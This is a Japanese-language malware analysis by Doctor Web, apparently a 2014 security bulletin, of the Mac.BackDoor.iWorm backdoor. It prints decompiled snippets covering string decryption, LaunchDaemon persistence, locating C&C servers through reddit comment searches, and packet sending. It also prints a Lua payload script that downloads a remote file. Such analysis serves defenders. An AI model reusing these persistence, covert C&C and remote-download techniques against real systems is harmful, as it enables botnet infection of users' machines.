2014年10月6日
株式会社Doctor Web Pacific
このバックドアは/Library/Application Support/JavaWディレクトリ内に展開され、特別に生成されたplistファイルを使用することでアプリケーションcom.JavaWを装います。次に、/Library/LaunchDaemons/経由で自身を自動起動するアプリケーションとして設定します。
Mac.BackDoor.iWormは、その動作の過程で暗号化を多用します。起動されると、バックドアはコンテキスト(後に暗号化に使用されます)を設定し、オフセット0に2バイトを書き込みます。これが後に復号化ストリングのキーとして使用されます。ストリングは次のアルゴリズムを用いて復号化されます。
void DecryptStrings(unsigned __int8* Data, size_t size)
{
for(int i = 0; i < size; i++)
{
if (Data[i])
{
Data[i] -= 'Z';
Data[i] ^= 'M';
}
}
}
続けて、トロイの木馬は/Libraryディレクトリのコンテンツに関する情報の取得を試みます。成功した場合、その全てのサブディレクトリの名前のMD5ハッシュ値を取得します。このMD5ハッシュ値は、インストールされているソフトウェアの中でマルウェアが連携する必要のないものを決定するために使用されます。以下のアルゴリズムは、インストールされたアプリケーションを検出するためのものです。
find_banned_dir:
challenge[5] = 0;
challenge[4] = 0;
challenge[0] = 0x67452301;
challenge[1] = 0xEFCDAB89;
challenge[2] = 0x98BADCFE;
challenge[3] = 0x10325476;
szDir = (const char *)&dir-&qt;d_seekoff;
szDir_len = strlen(szDir);
MD5_Update(szDir, challenge, szDir_len);
MD5_Final((char *)&MD5OfDir, challenge);
z = 0;
do
{
if ( z &qt; 2 )
{
dir = readdir(hLib);
if ( !dir )
goto banned_dir_not_found;
goto find_banned_dir;
}
BannedFoldersMD5 = pBannedFoldersMD5[z++];
}
while ( MD5OfDir != _byteswap_ulong(BannedFoldersMD5) );
アプリケーションディレクトリが見つからなかった場合、getuidおよびgepwuidルーチンを使用して、Mac OS Xを実行しているユーザーアカウントのホームフォルダを見つけ、フォルダ内に%pw_dir%/.JavaWファイルが含まれているかどうかを確認します。このファイルはバックドアの初回起動時に生成されます。また、初回起動時にはポート番号も生成され、後にこのポートに関する情報が設定ファイルから取得されます。
r1 = TwisterGenRnd();; //????????? ?????????? ?????
r2 = 0xFFFF0400 * (random_value / 0xFC00);
port = (WORD)(r1 + r2 + 1024);
ポートの値からbackdoor_paramデータ構造が作成され、暗号化が完了すると設定ファイル内に書き込まれます。設定ファイルのエントリは全て次のフォーマットで追加されます。
struct backdoor_param
{
char szParam[];
char szValue[];
};
%param_name%および%param_value%の値から作成された構造の暗号化にはAES-256アルゴリズムが使用され、暗号化された構造は設定ファイル内に保存されます。次に、バックドアは以下の機能を実行する3つのスレッドを実行します。
- ポートを開いて接続受信を待つ
- webサーバーにクエリを送信し、C&Cサーバーのアドレスを取得する
- C&Cサーバーに接続し、コマンドを受け取る
C&Cサーバーのアドレスを取得するために、Mac.BackDoor.iWormは現在の日付を特定し、次の方法を用いてその値を計算します。
time_t timee;
struct tm *tm;
time(&timee);
tm = gmtime(&timee);
dwDays = tm->tm_yday + 365 * tm->tm_year;
取得した値からMD5ハッシュを算出し、クエリをreddit.comに送信します。クエリのテンプレートは以下のとおりです。
https://www.reddit.com/search?q=<MD5_hash_first8>
MD5_hash_first8は現在の日付のMD5ハッシュ値の最初の8バイトです。reddit.comは、"minecraftserverlists"トピック内に"vtnhiaovyd"というアカウント名で犯罪者によってコメントとして公開されているボットネットのC&Cサーバーおよびポートのリストを含んだwebページを検索結果として返します。リスト取得のリクエストは5分間隔でreddit.comに送信されます。
Mac.BackDoor.iWormは次のアルゴリズムを使用して、接続するサーバーを選択します。
rnd = TwisterGenRnd(); //????????? ?????????? ?????
szIP = GetAddressByIndex(pCSrvList, rnd % (pSrvList_size >> 2) % (pSrvList_size >> 2));
トロイの木馬はリスト上にある最初の29アドレスからランダムに選択したアドレスに対してクエリを送信します。接続が確立されると、サイトが除外リストに含まれていないかどうかを確認します。
i = 0;
while ( 1 )
{
pthread_mutex_lock(&pMutex_0);
BanListSize = (pBanListEnd - pBanListBeg) >> 2;
pthread_mutex_unlock(&pMutex_0);
if ( i >= BanListSize )
break;
pszBannedIP = GetAddressByIndex(pCBanList, i++);
if ( CompareAddresses(pszBannedIP, szIP) )
{
pthread_mutex_unlock(&pMutex_0);
shutdown(this->socket, SHUT_WR);
goto func_exit;
}
}
バックドアはサーバーとデータのやり取りを行い、それらのデータと特定のアルゴリズムを同時に用いてリモートホストの認証を行います。成功すると、感染したMac上で開かれたポートに関する情報や、そのユニークなIDに関する情報をサーバーに送信し、コマンドを待ちます。データはAES-256アルゴリズムを用いて暗号化され、次のルーチンでパケットによって送受信されます。
void SendPacket(char packet_signature, struct st_node *pNode, unsigned __int16 packet_size, char *pPacketData)
{
WORD ps = 0;
SendData(&packet_signature, pNode->pCSocket, 1u);
ps = BYTE(packet_size) << 8;
SendData((char *)&ps, pNode_->pCSocket, 2u);
SendData(pPacketData, pNode_->pCSocket, packet_size);
}
バックドアは、サーバーから受け取ったコマンドを実行するためにLuaをサポートしています。受け取ったデータの種類に依って、ボットはコマンドまたはLuaスクリプトのいずれかを実行することができます。以下はLuaスクリプトの例です。
if platform() == "OSX" and get("d") ~= "3" then
httpgeted("https://*****.files.wordpress.com/2014/08/01.jpg")
set("d", "3");
LUAスクリプト向けの基本的なバックドアコマンドは以下のとおりです。
- OSの種類を取得
- ボットのバージョンを取得
- ボットのUIDを取得
- 設定ファイルの値を取得
- 設定ファイル内にパラメータ値を設定
- 設定ファイルから全てのパラメータ値を削除
- ボットのアップタイムを取得
- GETクエリを送信
- ファイルをダウンロード
- 受信接続のためにソケットを開き、受け取ったコマンドを実行
- システムインストラクションを実行
- スリープ
- IPのノードを妨害
- 妨害するノードのリストをクリア
- ノードのリストを取得
- ノードのIPを取得
- ノードの種類を取得
- ノードのポートを取得
- 埋め込まれたLUAスクリプトを実行
LUAスクリプトで実行される動作を除き、現時点でトロイの木馬が実行可能な動作は次のとおりです。
- UIDを送信
- 開かれたポートに関する情報を送信
- 新たなボット(実際に接続されているもの、およびコマンドと共にアドレスを受け取ったもの)をノードのリストに追加
- トラフィックをリレー(あるソケットから受け取ったデータを変更せずに別のソケットへリレー)
- コマンドで指定されたホストに接続
- LUAスクリプトを実行
Tell us what you think
To ask Doctor Web’s site administration about a news item, enter @admin at the beginning of your comment. If your question is for the author of one of the comments, put @ before their names.
Other comments